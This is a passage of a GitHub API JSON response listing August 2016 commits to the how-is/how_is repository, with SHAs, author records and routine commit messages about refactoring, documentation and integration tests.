b.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"4a0d9195873042e560f6cb71955ff8247f749400","url":"https://api.github.com/repos/how-is/how_is/commits/4a0d9195873042e560f6cb71955ff8247f749400","html_url":"https://github.com/how-is/how_is/commit/4a0d9195873042e560f6cb71955ff8247f749400"}]},{"sha":"4a0d9195873042e560f6cb71955ff8247f749400","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NGEwZDkxOTU4NzMwNDJlNTYwZjZjYjcxOTU1ZmY4MjQ3Zjc0OTQwMA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-12T04:54:09Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-12T04:54:09Z"},"message":"...","tree":{"sha":"b63c1d3dec7fddd606b3527589c7f46583cab20d","url":"https://api.github.com/repos/how-is/how_is/git/trees/b63c1d3dec7fddd606b3527589c7f46583cab20d"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/4a0d9195873042e560f6cb71955ff8247f749400","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/4a0d9195873042e560f6cb71955ff8247f749400","html_url":"https://github.com/how-is/how_is/commit/4a0d9195873042e560f6cb71955ff8247f749400","comments_url":"https://api.github.com/repos/how-is/how_is/commits/4a0d9195873042e560f6cb71955ff8247f749400/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"0fca4e66cd51b0df60dfd1a6bb9761bb2b061bed","url":"https://api.github.com/repos/how-is/how_is/commits/0fca4e66cd51b0df60dfd1a6bb9761bb2b061bed","html_url":"https://github.com/how-is/how_is/commit/0fca4e66cd51b0df60dfd1a6bb9761bb2b061bed"}]},{"sha":"0fca4e66cd51b0df60dfd1a6bb9761bb2b061bed","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MGZjYTRlNjZjZDUxYjBkZjYwZGZkMWE2YmI5NzYxYmIyYjA2MWJlZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-12T04:52:14Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-12T04:52:14Z"},"message":"Move option parser into its own class.","tree":{"sha":"b73d3c722c0bf2310fab17d601bb722848367955","url":"https://api.github.com/repos/how-is/how_is/git/trees/b73d3c722c0bf2310fab17d601bb722848367955"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/0fca4e66cd51b0df60dfd1a6bb9761bb2b061bed","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/0fca4e66cd51b0df60dfd1a6bb9761bb2b061bed","html_url":"https://github.com/how-is/how_is/commit/0fca4e66cd51b0df60dfd1a6bb9761bb2b061bed","comments_url":"https://api.github.com/repos/how-is/how_is/commits/0fca4e66cd51b0df60dfd1a6bb9761bb2b061bed/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"aead0d0e4ffc86373f0c1a9fc007a6eabcdb0e6b","url":"https://api.github.com/repos/how-is/how_is/commits/aead0d0e4ffc86373f0c1a9fc007a6eabcdb0e6b","html_url":"https://github.com/how-is/how_is/commit/aead0d0e4ffc86373f0c1a9fc007a6eabcdb0e6b"}]},{"sha":"aead0d0e4ffc86373f0c1a9fc007a6eabcdb0e6b","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YWVhZDBkMGU0ZmZjODYzNzNmMGMxYTlmYzAwN2E2ZWFiY2RiMGU2Yg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-07T08:59:17Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-08-07T08:59:17Z"},"message":"Merge pull request #35 from how-is/update-help-text\n\nUpdate documentation.","tree":{"sha":"46238ada0b42e7873788c4d0df53b72e6b8f7814","url":"https://api.github.com/repos/how-is/how_is/git/trees/46238ada0b42e7873788c4d0df53b72e6b8f7814"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/aead0d0e4ffc86373f0c1a9fc007a6eabcdb0e6b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/aead0d0e4ffc86373f0c1a9fc007a6eabcdb0e6b","html_url":"https://github.com/how-is/how_is/commit/aead0d0e4ffc86373f0c1a9fc007a6eabcdb0e6b","comments_url":"https://api.github.com/repos/how-is/how_is/commits/aead0d0e4ffc86373f0c1a9fc007a6eabcdb0e6b/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"7a830bd325740fbd0bc2ecd891561a144b15eabd","url":"https://api.github.com/repos/how-is/how_is/commits/7a830bd325740fbd0bc2ecd891561a144b15eabd","html_url":"https://github.com/how-is/how_is/commit/7a830bd325740fbd0bc2ecd891561a144b15eabd"},{"sha":"fd76b25daf0f36639ce25c514b3eb98c4bacf524","url":"https://api.github.com/repos/how-is/how_is/commits/fd76b25daf0f36639ce25c514b3eb98c4bacf524","html_url":"https://github.com/how-is/how_is/commit/fd76b25daf0f36639ce25c514b3eb98c4bacf524"}]},{"sha":"fd76b25daf0f36639ce25c514b3eb98c4bacf524","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZmQ3NmIyNWRhZjBmMzY2MzljZTI1YzUxNGIzZWI5OGM0YmFjZjUyNA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-07T08:47:53Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-07T08:47:53Z"},"message":"Remove unnecessary code.","tree":{"sha":"46238ada0b42e7873788c4d0df53b72e6b8f7814","url":"https://api.github.com/repos/how-is/how_is/git/trees/46238ada0b42e7873788c4d0df53b72e6b8f7814"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/fd76b25daf0f36639ce25c514b3eb98c4bacf524","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/fd76b25daf0f36639ce25c514b3eb98c4bacf524","html_url":"https://github.com/how-is/how_is/commit/fd76b25daf0f36639ce25c514b3eb98c4bacf524","comments_url":"https://api.github.com/repos/how-is/how_is/commits/fd76b25daf0f36639ce25c514b3eb98c4bacf524/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"5c680cc85e865b49cd34a4c7d78d8943456eb2c6","url":"https://api.github.com/repos/how-is/how_is/commits/5c680cc85e865b49cd34a4c7d78d8943456eb2c6","html_url":"https://github.com/how-is/how_is/commit/5c680cc85e865b49cd34a4c7d78d8943456eb2c6"}]},{"sha":"5c680cc85e865b49cd34a4c7d78d8943456eb2c6","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NWM2ODBjYzg1ZTg2NWI0OWNkMzRhNGM3ZDc4ZDg5NDM0NTZlYjJjNg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-07T08:41:25Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-07T08:41:25Z"},"message":"Update documentation.","tree":{"sha":"7b4c711a0ad3c2192f7d8f8b29e548c1175b6102","url":"https://api.github.com/repos/how-is/how_is/git/trees/7b4c711a0ad3c2192f7d8f8b29e548c1175b6102"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/5c680cc85e865b49cd34a4c7d78d8943456eb2c6","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/5c680cc85e865b49cd34a4c7d78d8943456eb2c6","html_url":"https://github.com/how-is/how_is/commit/5c680cc85e865b49cd34a4c7d78d8943456eb2c6","comments_url":"https://api.github.com/repos/how-is/how_is/commits/5c680cc85e865b49cd34a4c7d78d8943456eb2c6/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"7a830bd325740fbd0bc2ecd891561a144b15eabd","url":"https://api.github.com/repos/how-is/how_is/commits/7a830bd325740fbd0bc2ecd891561a144b15eabd","html_url":"https://github.com/how-is/how_is/commit/7a830bd325740fbd0bc2ecd891561a144b15eabd"}]},{"sha":"7a830bd325740fbd0bc2ecd891561a144b15eabd","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6N2E4MzBiZDMyNTc0MGZiZDBiYzJlY2Q4OTE1NjFhMTQ0YjE1ZWFiZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-07T08:02:06Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-08-07T08:02:06Z"},"message":"Merge pull request #34 from how-is/fix-contract-error\n\nFix contract error","tree":{"sha":"48e5e9c7d639ced85ebb464e50f288ec0e0af2c3","url":"https://api.github.com/repos/how-is/how_is/git/trees/48e5e9c7d639ced85ebb464e50f288ec0e0af2c3"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/7a830bd325740fbd0bc2ecd891561a144b15eabd","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/7a830bd325740fbd0bc2ecd891561a144b15eabd","html_url":"https://github.com/how-is/how_is/commit/7a830bd325740fbd0bc2ecd891561a144b15eabd","comments_url":"https://api.github.com/repos/how-is/how_is/commits/7a830bd325740fbd0bc2ecd891561a144b15eabd/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"4665331c7bde27a6f78a6f1c6a5518b7cb6d4d39","url":"https://api.github.com/repos/how-is/how_is/commits/4665331c7bde27a6f78a6f1c6a5518b7cb6d4d39","html_url":"https://github.com/how-is/how_is/commit/4665331c7bde27a6f78a6f1c6a5518b7cb6d4d39"},{"sha":"74677df39c6072cb10fb17446d6e6128d6915e77","url":"https://api.github.com/repos/how-is/how_is/commits/74677df39c6072cb10fb17446d6e6128d6915e77","html_url":"https://github.com/how-is/how_is/commit/74677df39c6072cb10fb17446d6e6128d6915e77"}]},{"sha":"74677df39c6072cb10fb17446d6e6128d6915e77","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NzQ2NzdkZjM5YzYwNzJjYjEwZmIxNzQ0NmQ2ZTYxMjhkNjkxNWU3Nw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-07T04:15:39Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-07T04:15:39Z"},"message":"Remove keys that raise contract error.","tree":{"sha":"48e5e9c7d639ced85ebb464e50f288ec0e0af2c3","url":"https://api.github.com/repos/how-is/how_is/git/trees/48e5e9c7d639ced85ebb464e50f288ec0e0af2c3"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/74677df39c6072cb10fb17446d6e6128d6915e77","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/74677df39c6072cb10fb17446d6e6128d6915e77","html_url":"https://github.com/how-is/how_is/commit/74677df39c6072cb10fb17446d6e6128d6915e77","comments_url":"https://api.github.com/repos/how-is/how_is/commits/74677df39c6072cb10fb17446d6e6128d6915e77/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"ccca98e23ffdfbe8373a0e21aa16b1f9d340e586","url":"https://api.github.com/repos/how-is/how_is/commits/ccca98e23ffdfbe8373a0e21aa16b1f9d340e586","html_url":"https://github.com/how-is/how_is/commit/ccca98e23ffdfbe8373a0e21aa16b1f9d340e586"}]},{"sha":"ccca98e23ffdfbe8373a0e21aa16b1f9d340e586","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Y2NjYTk4ZTIzZmZkZmJlODM3M2EwZTIxYWExNmIxZjlkMzQwZTU4Ng==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-07T04:15:14Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-07T04:15:14Z"},"message":"Add another integration test.","tree":{"sha":"1796f85785ec047d8bcb35bd2fa9fb7501692804","url":"https://api.github.com/repos/how-is/how_is/git/trees/1796f85785ec047d8bcb35bd2fa9fb7501692804"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/ccca98e23ffdfbe8373a0e21aa16b1f9d340e586","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/ccca98e23ffdfbe8373a0e21aa16b1f9d340e586","html_url":"https://github.com/how-is/how_is/commit/ccca98e23ffdfbe8373a0e21aa16b1f9d340e586","comments_url":"https://api.github.com/repos/how-is/how_is/commits/ccca98e23ffdfbe8373a0e21aa16b1f9d340e586/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"4665331c7bde27a6f78a6f1c6a5518b7cb6d4d39","url":"https://api.github.com/repos/how-is/how_is/commits/4665331c7bde27a6f78a6f1c6a5518b7cb6d4d39","html_url":"https://github.com/how-is/how_is/commit/4665331c7bde27a6f78a6f1c6a5518b7cb6d4d39"}]},{"sha":"4665331c7bde27a6f78a6f1c6a5518b7cb6d4d39","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NDY2NTMzMWM3YmRlMjdhNmY3OGE2ZjFjNmE1NTE4YjdjYjZkNGQzOQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-07T03:47:17Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-08-07T03:47:17Z"},"message":"Merge pull request #31 from how-is/use-correct-config-file\n\nUse the correct config file in integration tests.","tree":{"sha":"051700ee7d5168a85fca46526f48b211b21bbb6e","url":"https://api.github.com/repos/how-is/how_is/git/trees/051700ee7d5168a85fca46526f48b211b21bbb6e"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/4665331c7bde27a6f78a6f1c6a5518b7cb6d4d39","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/4665331c7bde27a6f78a6f1c6a5518b7cb6d4d39","html_url":"https://github.com/how-is/how_is/commit/4665331c7bde27a6f78a6f1c6a5518b7cb6d4d39","comments_url":"https://api.github.com/repos/how-is/how_is/commits/4665331c7bde27a6f78a6f1c6a5518b7cb6d4d39/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"157b047234ca64856040baa2a358064a3b19bbde","url":"https://api.github.com/repos/how-is/how_is/commits/157b047234ca64856040baa2a358064a3b19bbde","html_url":"https://github.com/how-is/how_is/commit/157b047234ca64856040baa2a358064a3b19bbde"},{"sha":"eac2af826032f364221251bf20b3a7f43ba45355","url":"https://api.github.com/repos/how-is/how_is/commits/eac2af826032f364221251bf20b3a7f43ba45355","html_url":"https://github.com/how-is/how_is/commit/eac2af826032f364221251bf20b3a7f43ba45355"}]},{"sha":"eac2af826032f364221251bf20b3a7f43ba45355","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZWFjMmFmODI2MDMyZjM2NDIyMTI1MWJmMjBiM2E3ZjQzYmE0NTM1NQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-07T03:41:09Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-07T03:41:09Z"},"message":"Use the correct config file in integration tests.","tree":{"sha":"051700ee7d5168a85fca46526f48b211b21bbb6e","url":"https://api.github.com/repos/how-is/how_is/git/trees/051700ee7d5168a85fca46526f48b211b21bbb6e"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/eac2af826032f364221251bf20b3a7f43ba45355","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/eac2af826032f364221251bf20b3a7f43ba45355","html_url":"https://github.com/how-is/how_is/commit/eac2af826032f364221251bf20b3a7f43ba45355","comments_url":"https://api.github.com/repos/how-is/how_is/commits/eac2af826032f364221251bf20b3a7f43ba45355/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.git